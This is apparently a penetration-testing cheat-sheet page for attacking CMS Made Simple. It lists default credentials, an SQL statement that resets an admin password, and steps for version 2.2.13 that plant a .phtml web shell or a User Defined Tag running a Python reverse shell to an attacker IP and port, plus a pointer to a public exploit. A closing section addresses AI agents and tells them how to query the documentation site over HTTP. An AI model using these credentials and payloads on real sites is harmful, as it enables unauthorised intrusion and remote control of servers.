# cms made simple

## Default Creds:

```bash
root:root
bitnami:bitnami
root:bitnami
```

## Update Admin Pass via sql

```bash
https://cmscanbesimple.org/blog/cms-made-simple-admin-password-recovery
update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'NEW_PASSWORD'))) where username = 'USER_NAME'
```

## v 2.2.13

```bash
# to upload shell as .phtml
Content> File Manager
Invoke: /uploads/web.phtml

[OR] https://www.exploit-db.com/exploits/48779 also works

[OR]
Dashboard > Extensions > User Defined Tags > Create New as "shell" > Save
code: shell_exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");
Dashboard > Content > Content Manager > Add New Content > Save
Content: {{shell}}
Invoke: IP/index.php?page=shell
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/services/cms-made-simple.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
